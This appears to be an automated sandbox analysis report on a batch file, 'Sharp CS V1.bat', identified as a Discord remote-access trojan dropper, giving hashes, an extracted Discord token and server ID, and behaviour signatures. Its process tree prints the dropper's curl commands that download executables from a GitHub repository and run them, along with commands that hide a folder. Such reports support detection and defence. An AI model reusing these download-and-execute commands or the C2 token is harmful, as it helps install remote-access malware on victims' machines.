Analysis
-
max time kernel
450s -
max time network
1173s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
29-06-2024 13:36
Static task
static1
Behavioral task
behavioral1
Sample
Sharp CS V1.bat
Resource
win11-20240508-en
General
-
Target
Sharp CS V1.bat
-
Size
551B
-
MD5
a15cfc6331f0054de73a5353ee57bf21
-
SHA1
a58aa430e12ccb6eb1da97faf6144a28bec218c1
-
SHA256
e6c1cccd7586150fa37740b2fc0c2ecb919b0d18d257a2f7ad223678c8552a80
-
SHA512
3ee703a10768f76a3afa9be065becfb05c36ad67af9ad30849f1106deb153d975938901453a957900981bcf61330b4cd57e3ca4f4566289fb8114d8bbcfc0425
Malware Config
Extracted
discordrat
-
discord_token
MTI0MzQwMDg0MDc3NDE2MDM4NQ.Gnre8o.K_NB2WHxREqF5j5C1y9xsPSpv67TWHFacISXVA
-
server_id
1256564842899181648
Signatures
-
Discord RAT
A RAT written in C# using Discord as a C2.
-
Downloads MZ/PE file
-
Executes dropped EXE 2 IoCs
pid Process 3644 System.exe 2828 Packages.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
flow ioc 6 raw.githubusercontent.com 11 raw.githubusercontent.com 16 raw.githubusercontent.com 19 discord.com 21 discord.com 5 discord.com -
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
pid Process 664 cmd.exe -
Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files\System64\System.exe curl.exe File created C:\Program Files\System64\Packages.exe curl.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3644 System.exe -
Suspicious use of WriteProcessMemory 42 IoCs
description pid Process procid_target PID 2692 wrote to memory of 4072 2692 cmd.exe 78 PID 2692 wrote to memory of 4072 2692 cmd.exe 78 PID 2692 wrote to memory of 2172 2692 cmd.exe 79 PID 2692 wrote to memory of 2172 2692 cmd.exe 79 PID 2692 wrote to memory of 3644 2692 cmd.exe 80 PID 2692 wrote to memory of 3644 2692 cmd.exe 80 PID 2692 wrote to memory of 2828 2692 cmd.exe 81 PID 2692 wrote to memory of 2828 2692 cmd.exe 81 PID 2692 wrote to memory of 2828 2692 cmd.exe 81 PID 2828 wrote to memory of 2344 2828 Packages.exe 83 PID 2828 wrote to memory of 2344 2828 Packages.exe 83 PID 2828 wrote to memory of 2344 2828 Packages.exe 83 PID 2344 wrote to memory of 4032 2344 cmd.exe 84 PID 2344 wrote to memory of 4032 2344 cmd.exe 84 PID 2344 wrote to memory of 4032 2344 cmd.exe 84 PID 2828 wrote to memory of 1888 2828 Packages.exe 85 PID 2828 wrote to memory of 1888 2828 Packages.exe 85 PID 2828 wrote to memory of 1888 2828 Packages.exe 85 PID 2828 wrote to memory of 2236 2828 Packages.exe 86 PID 2828 wrote to memory of 2236 2828 Packages.exe 86 PID 2828 wrote to memory of 2236 2828 Packages.exe 86 PID 2828 wrote to memory of 4716 2828 Packages.exe 87 PID 2828 wrote to memory of 4716 2828 Packages.exe 87 PID 2828 wrote to memory of 4716 2828 Packages.exe 87 PID 2828 wrote to memory of 664 2828 Packages.exe 88 PID 2828 wrote to memory of 664 2828 Packages.exe 88 PID 2828 wrote to memory of 664 2828 Packages.exe 88 PID 664 wrote to memory of 3892 664 cmd.exe 89 PID 664 wrote to memory of 3892 664 cmd.exe 89 PID 664 wrote to memory of 3892 664 cmd.exe 89 PID 2828 wrote to memory of 2756 2828 Packages.exe 90 PID 2828 wrote to memory of 2756 2828 Packages.exe 90 PID 2828 wrote to memory of 2756 2828 Packages.exe 90 PID 2828 wrote to memory of 2916 2828 Packages.exe 91 PID 2828 wrote to memory of 2916 2828 Packages.exe 91 PID 2828 wrote to memory of 2916 2828 Packages.exe 91 PID 2828 wrote to memory of 2312 2828 Packages.exe 92 PID 2828 wrote to memory of 2312 2828 Packages.exe 92 PID 2828 wrote to memory of 2312 2828 Packages.exe 92 PID 2828 wrote to memory of 3460 2828 Packages.exe 93 PID 2828 wrote to memory of 3460 2828 Packages.exe 93 PID 2828 wrote to memory of 3460 2828 Packages.exe 93 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3892 attrib.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Sharp CS V1.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\system32\curl.execurl -LJO https://github.com/LongYears9/tools/raw/master/System.exe2⤵
- Drops file in Program Files directory
PID:4072
-
-
C:\Windows\system32\curl.execurl -LJO https://github.com/LongYears9/tools/raw/master/Packages.exe2⤵
- Drops file in Program Files directory
PID:2172
-
-
C:\Program Files\System64\System.exe"C:\Program Files\System64\System.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3644
-
-
C:\Program Files\System64\Packages.exe"C:\Program Files\System64\Packages.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2828 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c mode con:cols=0120 lines=00303⤵
- Suspicious use of WriteProcessMemory
PID:2344 -
C:\Windows\SysWOW64\mode.commode con:cols=0120 lines=00304⤵PID:4032
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c title Window Title3⤵PID:1888
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\myfiles" mkdir "C:\Users\Admin\AppData\Local\Temp\myfiles"3⤵PID:2236
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\wtmpd" mkdir "C:\Users\Admin\AppData\Local\Temp\wtmpd"3⤵PID:4716
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd3⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:664 -
C:\Windows\SysWOW64\attrib.exeattrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd4⤵
- Views/modifies file attributes
PID:3892
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c echo:0>C:\Users\Admin\AppData\Local\Temp\i6.t3⤵PID:2756
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\i6.bat3⤵PID:2916
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c3⤵PID:2312
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c pause3⤵PID:3460
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
83KB
MD5e155e62ecf5be9131dadecb19213a92a
SHA19ed3d1543b037e901c8870bd360bd5d65e15bda1
SHA25670e2268a76050c6354ad22b0b997a41a48d7148219f6459acd44aadabe3bc500
SHA512fdc30e0fc2d98b27a7fd145247373e5a38856cacaf6f6f66f2716175a4e2ced25f7383a1a42c2c8863a937a345362748575db4a65945e29c3f787975e1402959
-
Filesize
78KB
MD5e102b8965e704f7ec4a214ce99b135c8
SHA18cba275b20c831b3b8f0506b5be5a3b0933b77c0
SHA2568d172d0825449e0471982d06cac82536652167eee091815da823ae1d1fffedcf
SHA51271e46823794dc72ff76c674e16538d24d18d0c9cb14bfa28c0bae38a3ebeeeba7a503fea5f9f5504c631eeaffe61a2187453c2d5991dd1c84a2c6ce48f5f4158
-
Filesize
173B
MD50f8f70e88009593eefaa155a8e31b1d6
SHA1eabcc3f2135e0919e9456da0a4b1084f3382d4b6
SHA256941c169c07670650fc6c6148c1cae068b69bac209e05010594e164aafc7cdf8b
SHA51294df468b963f3c9d133a25e1ffa57039fac01fe960f0f738552ca6440e6242ff48d0b410fe70dd05a62e4842c925c9f2b0220ca9eb9cb4ff5490ada443c9a750
-
Filesize
3B
MD5a5ea0ad9260b1550a14cc58d2c39b03d
SHA1f0aedf295071ed34ab8c6a7692223d22b6a19841
SHA256f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04
SHA5127c735c613ece191801114785c1ee26a0485cbf1e8ee2c3b85ba1ad290ef75eec9fede5e1a5dc26d504701f3542e6b6457818f4c1d62448d0db40d5f35c357d74